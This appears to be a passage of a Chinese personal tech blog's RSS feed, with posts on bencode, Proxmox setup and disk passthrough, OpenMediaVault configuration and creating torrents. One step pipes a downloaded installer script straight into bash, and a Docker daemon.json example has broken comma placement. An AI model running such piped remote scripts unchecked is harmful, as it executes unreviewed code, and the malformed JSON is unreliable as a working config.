datei1585361538e4:infod5:filesld6:lengthi5e4:pathl9:README.mdeed6:lengthi0e4:pathl10:README1.mdeee4:name1:.12:piece lengthi262144e6:pieces20:rhr7r@rorrrlrrrrrrrr7:privatei1eee +</code></pre></div></div> + +<p>拆解一下:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d + 8:announce -&gt; 19:http://announce.url + 7:comment -&gt; 16:This is comments + 10:created by -&gt; 13:mktorrent 1.0 + 13:creation date -&gt; i1585361538e + 4:info -&gt; + d + 5:files -&gt; l + d + 6:length -&gt; i5e + 4:path -&gt; l 9:README.md e + e + d + 6:length -&gt; i0e + 4:path -&gt; l 10:README1.md e + e + e + 4:name -&gt; 1:. + 12:piece length -&gt; i262144e + 6:pieces -&gt; 20:rhrxxxxxxxxrrrrrr + 7:private -&gt; i1e + e +e +</code></pre></div></div> + +<p>多文件时 info 字典中的内容稍微多一些。</p> + +<ul> + <li>files 是多个文件的信息,其中包括了文件长度和路径。</li> +</ul> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="http://www.bittorrent.org/beps/bep_0003.html">http://www.bittorrent.org/beps/bep_0003.html</a></li> + <li><a href="https://zh.wikipedia.org/wiki/Bencode">https://zh.wikipedia.org/wiki/Bencode</a></li> +</ul> + + https://einverne.github.io/post/2020/03/bencode-in-bittorrent.html + https://einverne.github.io/post/2020/03/bencode-in-bittorrent + Sat, 28 Mar 2020 00:00:00 +0000 + + + + 如何查找链到某个链接的页面 + <p>有的时候想要查看一个网页有多少其他的页面链接过来,这个搜索语法似乎在 Google 上没见过,平时用的比较多语法也就是用 <code class="language-plaintext highlighter-rouge">site:</code> 来查看某个站点中的关键字。</p> + +<p>那有什么方法可以查看某一个页面有谁链接过来了呢?</p> + +<h2 id="google-search-console">Google Search Console</h2> +<p>在 <a href="https://search.google.com/search-console/about">Google Search Console</a> 中可以查看到:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Search Console &gt; choose your property &gt; Links &gt; External links &gt; Top linking sites +</code></pre></div></div> + +<h2 id="ahrefs">ahrefs</h2> +<p>ahrefs 是一个逆向链接的索引,可以简单的查看一些,但如果要查看完整的报告则需要订阅。</p> + +<ul> + <li><a href="https://ahrefs.com/backlink-checker">https://ahrefs.com/backlink-checker</a></li> +</ul> + + + https://einverne.github.io/post/2020/03/find-backlinks-to-a-page.html + https://einverne.github.io/post/2020/03/find-backlinks-to-a-page + Wed, 25 Mar 2020 00:00:00 +0000 + + + + Proxmox 设定直通硬盘 + <p>之前的文章讲了 Proxmox 的安装,以及在此基础上又安装了 OpenMediaVault,现在我的机器上一共三块硬盘,120 G SSD 安装了系统,并作为默认的 lvm,放一些 ISO,以及存放一些系统盘,另外的 1T 准备做 Proxmox 相关的数据盘,而剩下的一块 4T 盘想要直通给 OpenMediaVault 做数据盘。所以就产生了这样的一个需求。</p> + +<p>首先在设定之前,需要知道 Linux 下的硬盘都会以文件方式存放在 <code class="language-plaintext highlighter-rouge">/dev/disk/by-id/</code> 目录下。</p> + +<h2 id="查看硬件设备">查看硬件设备</h2> +<p>安装:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt install lshw +</code></pre></div></div> + +<p>查看:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lshw -class disk -class storage +</code></pre></div></div> + +<p>在输出的一串中,找到想要直通的硬盘 Serial,这一步一般也可以通过 Proxmox 后台 Disk 来查看到。比如我的情况是第一块硬盘 <code class="language-plaintext highlighter-rouge">/dev/sda</code> 然后假设 Serial 是 WFN1XXXX.</p> + +<p>那么过滤出该硬盘:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -al /dev/disk/by-id |grep WFN1XXXX +</code></pre></div></div> + +<p>然后添加到具体 ID 的 KVM 虚拟机。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>qm set 100 -scsi2 /dev/disk/by-id/ata-ST4000DM004-2CV104_WFN1XXXX +</code></pre></div></div> + +<p>这里 100 是我的 OpenMediaVault 虚拟机的 ID,后面是硬盘的位置。这里的参数 <code class="language-plaintext highlighter-rouge">-scsi2</code> 表示的是使用 SCSI 的第二块硬盘,如果你要加多块硬盘,数字 2 需要往后加 <code class="language-plaintext highlighter-rouge">-scsi3</code> 这样。</p> + +<h2 id="检查是否配置成功">检查是否配置成功</h2> +<p>在上面添加到虚拟机之后,可以在 Proxmox 界面中查看,或者用命令:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>grep "WFN" /etc/pve/qemu-server/100.conf +</code></pre></div></div> + +<p>理论上应该输出 scsi2 然后后面是硬盘的位置及编号。</p> + +<p>然后就能在 OpenMediaVault 中识别出该硬盘了。</p> + +<h2 id="scsi-vs-virtio">SCSI vs VIRTIO</h2> +<p>上面 qm 命令中用了 <code class="language-plaintext highlighter-rouge">-scsi2</code> 这里指的是磁盘总线类型 (scsi) 和编号 (2),目前磁盘总线类型大致上有这么几种:</p> + +<ul> + <li>IDE - Slow Write in the Guest System</li> + <li>SCSI - Faster Write(as IDE) in Guest System</li> + <li>VIRTIO - Fastest Write (more that SCSI and IDE) in the Guest System, but only with extra Drivers (In Guest)</li> +</ul> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://pve.proxmox.com/wiki/Physical_disk_to_kvm">https://pve.proxmox.com/wiki/Physical_disk_to_kvm</a></li> + <li><a href="https://pve.proxmox.com/wiki/Paravirtualized_Block_Drivers_for_Windows">https://pve.proxmox.com/wiki/Paravirtualized_Block_Drivers_for_Windows</a></li> +</ul> + + https://einverne.github.io/post/2020/03/proxmox-passthrough-hard-disk.html + https://einverne.github.io/post/2020/03/proxmox-passthrough-hard-disk + Sun, 22 Mar 2020 00:00:00 +0000 + + + + OpenMediaVault 设置 + <p>OpenMediaVault,是一个开源的基于 Debian Linux 的下一代网络附加存储 (NAS) 解决方案。</p> + +<h2 id="镜像源">镜像源</h2> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free +deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free +deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free +deb https://mirrors.tuna.tsinghua.edu.cn/debian-security buster/updates main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security buster/updates main contrib non-free +</code></pre></div></div> + +<h2 id="omv-extras">omv-extras</h2> +<p>安装:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget -O - https://github.com/OpenMediaVault-Plugin-Developers/packages/raw/master/install | bash +</code></pre></div></div> + +<ul> + <li><a href="http://omv-extras.org/">http://omv-extras.org/</a></li> +</ul> + +<h2 id="docker-mirror">docker mirror</h2> +<p>编辑 <code class="language-plaintext highlighter-rouge">vi /etc/docker/daemon.json</code>:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ + "registry-mirrors": [ + "https://registry.azk8s.cn" + "https://reg-mirror.qiniu.com", + ], + "data-root": "/var/lib/docker" +} ~ 重启: + +/etc/init.d/docker restart +</code></pre></div></div> + +<h2 id="开启-sharedfolders">开启 sharedfolders</h2> +<p>我全新安装的 OpenMediaVault 5.3.4 中,创建共享文件夹,系统不会自动在 sharedfolders 中创建文件夹,查了一下,发现是 OpenMediaVault 在 5.3.3-1 版本中将 sharedfolders 功能给禁用了,官方的<a href="https://github.com/openmediavault/openmediavault/blob/master/deb/openmediavault/debian/changelog#L52">说明</a> 是可能造成不稳定。不过可以通过如下方法手工开启:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Disable the '/sharedfolder/&lt;xyz&gt;' feature by default on new +installations because it makes too much problems. +It can be enabled by setting the environment variable to +'OMV_SHAREDFOLDERS_DIR_ENABLED="YES"'. Finally run the command +'omv-salt stage run prepare' to apply the modified default values +and 'omv-salt deploy run systemd' to create the unit files. +</code></pre></div></div> + +<p>但是我尝试一下之后发现创建共享文件后,sharedfolder 中依然没有,那我就只能手动 <code class="language-plaintext highlighter-rouge">ln</code> 了。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ln -s /srv/dev-disk-by-label-storage/appdata /sharedfolders/appdata +ln -s /srv/dev-disk-by-label-storage/ruTorrent/ /sharedfolders/ruTorrent +</code></pre></div></div> + +<h2 id="rutorrent">ruTorrent</h2> +<p>Pull 镜像:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker pull dockerhub.azk8s.cn/linuxserver/ruTorrent +</code></pre></div></div> + +<p>创建:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run -d \ + --name=rutorrent \ + -e PUID=1000 \ + -e PGID=1000 \ + -p 8080:80 \ + -p 5000:5000 \ + -p 51415:51413 \ + -p 6881:6881/udp \ + -v /sharedfolders/appdata/ruTorrent:/config \ + -v /sharedfolders/ruTorrent:/downloads \ + --restart unless-stopped \ + dockerhub.azk8s.cn/linuxserver/rutorrent +</code></pre></div></div> + +<p>然后根据 <a href="/post/2020/03/rtorrent-and-rutorrent.html">这里</a> 的说明改一下主题。</p> + + + https://einverne.github.io/post/2020/03/openmediavault-setup.html + https://einverne.github.io/post/2020/03/openmediavault-setup + Sun, 22 Mar 2020 00:00:00 +0000 + + + + Proxmox 安装和设置 + <p>接触虚拟化的过程中慢慢的了解到了 Proxmox,再此之前是看到很多人在用 ESXi,一款 VMware 的商业化产品,不过个人授权是免费的,不过 Proxmox 是一款开源软件,对于我这样的初学者,学习过程要比产品的稳定性来的重要,所以对我个人而言 Proxmox 是一个不错的选择。</p> + +<blockquote> + <p>Proxmox Virtual Environment is an open source server virtualization management solution based on QEMU/KVM and LXC. You can manage virtual machines, containers, highly available clusters, storage and networks with an integrated, easy-to-use web interface or via CLI. Proxmox VE code is licensed under the GNU Affero General Public License, version 3.</p> +</blockquote> + +<p>Proxmox VE,是一个开源的服务器虚拟化环境 Linux 发行版。Proxmox VE 基于 Debian,使用基于 Ubuntu 的定制内核,包含安装程序、网页控制台和命令行工具,并且向第三方工具提供了 REST API,在 Affero 通用公共许可证第三版下发行。</p> + +<p>Proxmox VE 支持两类虚拟化技术:基于容器的 LXC(自 4.0 版开始,3.4 版及以前使用 OpenVZ 技术) 和硬件抽象层全虚拟化 KVM。</p> + +<p>Proxmox 支持的虚拟化:</p> + +<ul> + <li>基于内核的 KVM (Kernel-based Virtual Machine)</li> + <li>基于容器的虚拟化技术 LXC(Linux Containers)</li> +</ul> + +<h2 id="prerequisite">准备工作</h2> +<p>安装 Proxmox 之前有几件必需品:</p> + +<ul> + <li>Proxmox ISO,Etcher 安装程序</li> + <li>一个空 U 盘,容量不用太大,也不能小到 Proxmox ISO 文件都放不下</li> + <li>主机 (64 位 CPU,至少 1G 内存,支持 KVM 的主板<code class="language-plaintext highlighter-rouge">egrep '(vmx|svm)' /proc/cpuinfo</code>),键盘和显示器(安装过程中需要,安装后就不用了)</li> +</ul> + +<h2 id="installation">安装</h2> +<p>和安装其他 Linux 系统一样,先用 Etcher 将 Proxmox ISO 写入 U 盘。或者使用 <code class="language-plaintext highlighter-rouge">dd</code> 命令:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># dd bs=1M conv=fdatasync if=./proxmox-ve_*.iso of=/dev/XYZ +</code></pre></div></div> + +<p>一定要注意 <code class="language-plaintext highlighter-rouge">of</code> 后别写错设备。如果不知道 dd 命令如何使用千万别复制粘贴上面命令。</p> + +<p>将 U 盘插入主机,启动,在 BIOS 中选择 U 盘启动,或者使用 F12 或者 F2,或者 DELETE 等等按键选择 U 盘启动。然后在 Proxmox 安装程序中下一步下一步既可,注意安装时输入的局域网 IP 地址,后面需要用该 IP 或者 (hostname) 来访问 Proxmox 的 Web 管理界面。</p> + +<h2 id="usage">使用</h2> + +<p>安装完成后,重启系统,进入 Proxmox,等待屏幕显示黑色登录等待命令,可以使用局域网中其他电脑登录:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://ip:8006 +</code></pre></div></div> + +<p>这里有两点需要注意,一定要用 https 访问,我用 http 访问是没有回应的,还重装了一遍,还以为有硬件故障检查了半天,甚至 root 登录进去重启了各种服务,最后发现必须要使用 https 登录;第二点就是输入安装时设置的 IP 地址,加上 8006 端口进行访问。</p> + +<h3 id="source">设置更新源</h3> +<p>Proxmox 源自于 Debian,所以 Proxmox 也可以用 apt 的包管理。但是 Proxmox 维护了一套自己的软件源,如果没有订阅企业授权,在 apt update 的时候会报错。所以需要注释掉企业的 source list:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /etc/apt/sources.list.d/pve-enterprise.list +然后用 # 注释掉其中的地址 +# deb https://enterprise.proxmox.com/debian/pve buster pve-enterprise +</code></pre></div></div> + +<p>然后添加非订阅的源,修改 <code class="language-plaintext highlighter-rouge">vi /etc/apt/sources.list</code>: <sup id="fnref:non"><a href="#fn:non" class="footnote">1</a></sup></p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># PVE pve-no-subscription repository provided by proxmox.com, +# NOT recommended for production use +deb http://download.proxmox.com/debian/pve buster pve-no-subscription +</code></pre></div></div> + +<p>或者直接创建一个新文件:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo 'deb http://download.proxmox.com/debian/pve buster pve-no-subscription' &gt;&gt; /etc/apt/sources.list.d/pve-no-subscription.list +</code></pre></div></div> + +<p>国内的 Proxmox 镜像:<sup id="fnref:pr"><a href="#fn:pr" class="footnote">2</a></sup></p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deb https://mirrors.tuna.tsinghua.edu.cn/proxmox/debian buster pve-no-subscription +</code></pre></div></div> + +<p>设置 Debian 国内镜像</p> + +<p>Proxmox 基于 Debian 的软件源都可以替换成国内的镜像:<sup id="fnref:tuna"><a href="#fn:tuna" class="footnote">3</a></sup></p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free +deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free +deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free +deb https://mirrors.tuna.tsinghua.edu.cn/debian-security buster/updates main contrib non-free +# deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security buster/updates main contrib non-free +</code></pre></div></div> + +<p>然后更新 <code class="language-plaintext highlighter-rouge">apt update</code>,然后升级 <code class="language-plaintext highlighter-rouge">apt upgrade</code></p> + +<h3 id="使用-sudo">使用 sudo</h3> +<p>生产环境中如果不想一直使用 root 账户来管理后台,可以参考<a href="https://pve.proxmox.com/wiki/User_Management">官网</a> 用户管理一章节的内容来添加账户,并分配给不同的角色。这一步可以先跳过,等后面部署真正用起来后再配置就行。</p> + +<p>安装 sudo</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt install sudo +</code></pre></div></div> + +<p>然后编辑 <code class="language-plaintext highlighter-rouge">visudo</code>:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>einverne ALL=(ALL:ALL) ALL +</code></pre></div></div> + +<h2 id="setup">配置</h2> +<p>经过上面的配置 Proxmox 已经处于一个可用的状态。</p> + +<p>通过 ISO 镜像安装 Proxmox 后 Proxmox 会自动创建一个 pve 的 Volume Group,并在其上面创建 root, data 和 swap 三个逻辑卷。</p> + +<p>默认情况下 Proxmox 会自动创建 local(pve) 和 local-lvm(pve) 这两个 Storage,分别用来存放镜像和磁盘:</p> + +<ul> + <li>local 是 Directory 类型,用来存放 VZDump backup file, ISO Images, Container template</li> + <li>local-lvm 是 LVM-Thin 类型,用来存放 Disk image, Container</li> +</ul> + +<p>上面两个存储是在 Proxmox 安装后自动创建的,使用 <code class="language-plaintext highlighter-rouge">fdisk -l</code> 来看,我的 Proxmox 是安装在了 <code class="language-plaintext highlighter-rouge">/dev/sdc</code> 这款 120G 的 SSD 上。</p> + +<h3 id="storage">Storage</h3> +<p>Proxmox 支持两类文件存储类型:</p> + +<ul> + <li>本地 (ZFS, LVM, Linux 支持的任何文件系统)</li> + <li>网络存储 (NFS, CIFS, iSCSI)</li> +</ul> + +<p>本地的存储类型肯定是最稳定的,但问题也就是空间大小有限制。但假如在万兆局域网中,网络传输造成的瓶颈就不存在了,那么可以创建网络存储,挂载其他设备,比如 NAS 上的文件系统。</p> + +<h3 id="建立-directory">建立 Directory</h3> +<p>在 GUI 界面中 Disks -&gt; Directory 新建,要注意这里只有没有任何数据,没有任何分区的硬盘才能在菜单中显示,然后看到创建的执行日志:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># /sbin/sgdisk -n1 -t1:8300 /dev/sda +The operation has completed successfully. +# /sbin/mkfs -t ext4 /dev/sda1 +mke2fs 1.44.5 (15-Dec-2018) +Creating filesystem with 976754385 4k blocks and 244195328 inodes +Filesystem UUID: rrrrr317-3e7f-4352-bda6-xxxxccde13fb +Superblock backups stored on blocks: + 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, + 4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, + 102400000, 214990848, 512000000, 550731776, 644972544 + +Allocating group tables: 0/29809 done +Writing inode tables: 0/29809 done +Creating journal (262144 blocks): done +Writing superblocks and filesystem accounting information: 0/29809 done + +# /sbin/blkid /dev/sda1 -o export +Created symlink /etc/systemd/system/multi-user.target.wants/mnt-pve-sda.mount -&gt; /etc/systemd/system/mnt-pve-sda.mount. +TASK OK +</code></pre></div></div> + +<p>可以看到我创建的 Directory 在 <code class="language-plaintext highlighter-rouge">/dev/sda</code> 这款硬盘上,首先 Proxmox 用 <code class="language-plaintext highlighter-rouge">sgdisk</code> 创建了一个分区 <code class="language-plaintext highlighter-rouge">sda1</code>,然后格式化了该分区为 ext4(这是我在 UI 界面中选择的),最后创建了一个挂载点,Proxmox 中是用 systemd 来管理的,具体可看到硬盘被挂载在了 <code class="language-plaintext highlighter-rouge">/mnt/pve/sda</code> 这个地方。</p> + +<h3 id="设置-iso-directory">设置 ISO Directory</h3> +<p>点击左侧边栏 DataCenter 下默认的 pve 节点,然后在右侧找到 Disks -&gt; Directory ,新建 Directory。</p> + +<p>这个时候需要注意,只有当硬盘没有任何数据的时候,才会在这里的菜单中显示。我在安装的时候是用的一块已经划分了分区的 1T 硬盘,所以需要 ssh 到后台,用 <code class="language-plaintext highlighter-rouge">fdisk /dev/sda</code> 来将分区删掉才能显示。</p> + +<h3 id="设置虚拟机的目录-volume-group">设置虚拟机的目录 Volume Group</h3> +<p>和 ISO 目录一样,ISO 目录用来存放 ISO 镜像,虚拟机目录则是真正划分给虚拟机用的分区。在 Disks 中选中 LVM,创建 Volume Group。</p> + +<h2 id="benchmark">Benchmark</h2> +<p>在安装成功的 Proxmox 系统中可以执行 <code class="language-plaintext highlighter-rouge">pveperf</code> 来检查一下 CPU 和其他硬件的性能。</p> + +<h2 id="创建-vm">创建 VM</h2> +<p>右上角创建 Virtual Machine,这里以安装 OpenMediaVault 来举例子。在 OpenMediaVault 下载好镜像 ISO,并上传到 Proxmox 中 local(pve) 中。</p> + +<h3 id="general">General</h3> +<p>PVE 使用数字来标识虚拟机,Name 字段起一个标志性的名字。</p> + +<h3 id="os">OS</h3> +<p>在操作系统页面中,在 Storage 中选择刚刚建立的 ISO storage 目录,然后选择刚刚上传的 OpenMediaVault ISO 文件。</p> + +<p>默认 Guest OS 会自动识别出对应的版本,下一步即可。</p> + +<h3 id="system">System</h3> +<p>默认即可。</p> + +<h3 id="hard-disk">Hard Disk</h3> + +<p>设置硬盘大小, OpenMediaVault 安装后占用体积也非常小,划分 16G 磁盘空间就已经足够。</p> + +<h3 id="cpu">CPU</h3> +<p>设置虚拟机可以使用的 CPU 核心数。</p> + +<p>Type 选择 Host,可以提供最好的性能。</p> + +<h3 id="memory">Memory</h3> + +<p>设置内存,OpenMediaVault 内存占用也非常少,动态的设定一个 1G 到 4G 的动态范围。</p> + +<p>高级设置中可以设置动态的内存使用范围。</p> + +<h3 id="network">Network</h3> +<p>默认</p> + +<p>点击既可创建成功。</p> + +<h2 id="other">其他</h2> +<p>安装及使用过程中的一些疑问和操作。</p> + +<h3 id="如何移除-storage">如何移除 Storage</h3> +<p>在界面中通过如下来移除一个存储:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Datacenter -&gt; Storage -&gt; Remove 选中的内容。 +</code></pre></div></div> + +<p>不过需要注意的是如果 GUI 移除了 Storage 定义, mount 文件并不会被删除,如果想要删除 mount 文件,只能通过 SSH 登录后台进行。Proxmox 中每一个 mount 都是由 systemd 管理,可以看到类似如下这样的文件。</p> + +<p>假如新建了一个 <code class="language-plaintext highlighter-rouge">testxfs</code> 的存储,想要删掉:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /etc/systemd/system/mnt-pve-testxfs.mount +[Install] +WantedBy=multi-user.target + +[Mount] +Options=defaults +Type=xfs +What=/dev/disk/by-uuid/xxxx6149-ce8f-4e36-94c4-xxxxxxj33e72 +Where=/mnt/pve/testxfs + +[Unit] +Description=Mount storage 'testxfs' under /mnt/pve +</code></pre></div></div> + +<p>如果想要彻底删除的话,用 <code class="language-plaintext highlighter-rouge">rm</code> 把这个文件也删除。<sup id="fnref:1"><a href="#fn:1" class="footnote">4</a></sup></p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl disable mnt-pve-testdir.mount +umount /mnt/pve/testdir +rm /etc/systemd/system/mnt-pve-testdir.mount +</code></pre></div></div> + +<h2 id="如何选择存储磁盘格式">如何选择存储磁盘格式</h2> +<p>在创建磁盘的时候可以选择 Directory, ZFS, LVM, LVM-Thin 等等。</p> + +<p><img src="/assets/proxmox-storage-types.png" alt="Proxmox Storage types" /></p> + +<h3 id="directory">Directory</h3> +<p>Directory 是最常见的文件格式,Proxmox 包括了 ext4, xfs 。更多的文件格式可以参考我之前的<a href="/post/2020/02/linux-nas-file-system.html">文章</a></p> + +<blockquote> + <p>Proxmox VE can use local directories or locally mounted shares for storage. A directory is a file level storage, so you can store any content type like virtual disk images, containers, templates, ISO images or backup files.</p> +</blockquote> + +<p>Directory 可以存储任何的类型。</p> + +<h3 id="lvm-和-lvm-thin">LVM 和 LVM-Thin</h3> +<p>LVM 是 Logical Volume Manager(逻辑卷管理)的简写,是 Linux 环境下对磁盘分区进行管理的一种机制</p> + +<p>在 Proxmox 中 LVM 可以有 Snapshot 快照功能,而 LVM-Thin 是没有的。相反如果建立了 LVM 分区,那么整个分区只能给虚拟机或者容器使用,其他文档是无法放进去的,LVM-Thin 则没有这个限制。<sup id="fnref:lvm"><a href="#fn:lvm" class="footnote">5</a></sup></p> + +<h3 id="error-挂载-nfs">ERROR 挂载 NFS</h3> +<p>在我想挂载 NAS 上 NFS 时,Proxmox 给了这错误,至今无解,不清楚是 NFS 版本不兼容的原因还是其他。</p> + +<blockquote> + <p>create storage failed: error with cfs lock ‘file-storage_cfg’: storage ‘Network-Proxmox’ is not online (500)</p> +</blockquote> + +<h2 id="虚拟化技术">虚拟化技术</h2> +<p>简单总结。</p> + +<h3 id="openvz">OpenVZ</h3> +<p>OpenVZ 基于 Linux 内核的操作系统级虚拟化技术。OpenVZ 允许物理服务器同时运行多个操作系统。目前正逐渐被 KVM 代替。</p> + +<h3 id="kvm">KVM</h3> +<p>KVM 全称是 Kernel-based Virtual Machine,基于内核的虚拟机,</p> + +<h3 id="xen">Xen</h3> +<p>Xen 是开放源代码虚拟机监视器,由 XenProject 开发,经过十几年时间的发展,目前正逐渐被 KVM 代替。</p> + +<h3 id="lxc">LXC</h3> +<p>LXC 名字来自于 Linux Containers 缩写,是操作系统级的虚拟化,LXC 是 Linux 内核容器功能的一个用户空间接口。</p> + +<h2 id="其他虚拟化系统">其他虚拟化系统</h2> + +<h3 id="vmware-esxi">VMware ESXi</h3> +<p>VMware ESXi 可以直接存取控制底层资源,有效的利用硬件。ESXi 是 VMware 退出的虚拟化系统,对个人的授权是免费的。</p> + +<h3 id="hyper-v">Hyper-V</h3> +<p>Hyper-V 是以 Hypervisor 为基础的虚拟化技术。适用于 x64 位的 Windows 系统。</p> + +<h2 id="further">Further</h2> + +<ul> + <li>Proxmox 提供的官方<a href="https://pve.proxmox.com/pve-docs/">文档</a></li> + <li>Proxmox 官方 <a href="https://pve.proxmox.com/wiki/Main_Page">Wiki</a></li> +</ul> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/Proxmox_Virtual_Environment">https://en.wikipedia.org/wiki/Proxmox_Virtual_Environment</a></li> +</ul> + +<div class="footnotes"> + <ol> + <li id="fn:non"> + <p><a href="https://pve.proxmox.com/wiki/Package_Repositories">https://pve.proxmox.com/wiki/Package_Repositories</a> <a href="#fnref:non" class="reversefootnote">&#8617;</a></p> + </li> + <li id="fn:pr"> + <p><a href="https://mirror.tuna.tsinghua.edu.cn/help/proxmox/">https://mirror.tuna.tsinghua.edu.cn/help/proxmox/</a> <a href="#fnref:pr" class="reversefootnote">&#8617;</a></p> + </li> + <li id="fn:tuna"> + <p><a href="https://mirror.tuna.tsinghua.edu.cn/help/debian/">https://mirror.tuna.tsinghua.edu.cn/help/debian/</a> <a href="#fnref:tuna" class="reversefootnote">&#8617;</a></p> + </li> + <li id="fn:1"> + <p><a href="https://forum.proxmox.com/threads/remove-unused-directory-from-gui.63451/">https://forum.proxmox.com/threads/remove-unused-directory-from-gui.63451/</a> <a href="#fnref:1" class="reversefootnote">&#8617;</a></p> + </li> + <li id="fn:lvm"> + <p><a href="https://pve.proxmox.com/wiki/Storage:_LVM">https://pve.proxmox.com/wiki/Storage:_LVM</a> <a href="#fnref:lvm" class="reversefootnote">&#8617;</a></p> + </li> + </ol> +</div> + + https://einverne.github.io/post/2020/03/proxmox-install-and-setup.html + https://einverne.github.io/post/2020/03/proxmox-install-and-setup + Sat, 21 Mar 2020 00:00:00 +0000 + + + + 从命令行制作 torrent + <p>一个 torrent 文件,本质上就是按照 BitTorrent 协议制作的一个包含一系列 meta 信息的文本文件,torrent 文件主要包含两部分重要信息,Tracker 信息和文件 meta 元信息。</p> + +<ul> + <li>Tracker,就是 BitTorrent 协议中的中心 Trakcer 服务器</li> + <li>文件元信息则是根据目标文件分块,然后索引,Hash 的信息</li> +</ul> + +<p>在制作 torrent 文件时,会根据 BitTorrent 协议对目标文件进行分片,piece length 来表示一个分片,或者一块的大小,通常是 2 的 n 次方,根据目标文件的大小可以选择性的使用不同的 piece length。</p> + +<ul> + <li>2^18, 256 KB,通常用在目标文件在 512 MiB 以下</li> + <li>2^19, 512 KB,通常用在目标文件在 512 MiB - 1024 MiB</li> + <li>2^20, 1024 KB,通常用在目标文件在 1 GB - 2GB</li> + <li>2^21, 2048 KB,通常用在目标文件在 2 GB - 4GB</li> + <li>2^22, 4096 KB,通常用在目标文件在 4 GB - 8GB</li> + <li>2^23, 8192 KB,通常用在目标文件在 8 GB - 16GB</li> + <li>2^24, 16384 KB,通常用在目标文件在 16 GB - 512GB,通常这是日常使用应该用的最大的块大小</li> +</ul> + +<p>通常情况下根据目标文件的大小选择合适的 piece length,如果分片太小就可能造成 torrent 文件过大。选择合适的分片大小,一方面可以减小 torrent 需要保存的元信息,另一方面也减少了对分片的校验耗时,下载时对分片的确认也可以加快。</p> + +<h2 id="transmission-cli">transmission-cli</h2> + +<p>如果使用 <a href="/post/2018/06/qnap-transmission.html">Transmission</a> 那么 <a href="https://github.com/tldr-pages/tldr/pull/3916/files">transmission-create</a> 已经充分够用。</p> + +<p>如果要使用 transmission-create 需要安装:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install transmission-cli +</code></pre></div></div> + +<h2 id="mktorrent">mktorrent</h2> + +<p>或者使用 mktorrent 命令也能够快速的制作 torrent 文件</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install mktorrent +</code></pre></div></div> + +<p>或者使用源码编译安装:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone git@github.com:Rudde/mktorrent.git +cd mktorrent +sudo make +sudo make install +</code></pre></div></div> + +<p>默认会安装到 <code class="language-plaintext highlighter-rouge">/usr/local/bin/mktorrent</code> .</p> + +<h3 id="使用">使用</h3> + +<p>查看 <code class="language-plaintext highlighter-rouge">man mktorrent</code> 手册,非常容易理解。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mktorrent 1.0 (c) 2007, 2009 Emil Renner Berthing + +Usage: mktorrent [OPTIONS] &lt;target directory or filename&gt; + +Options: +-a, 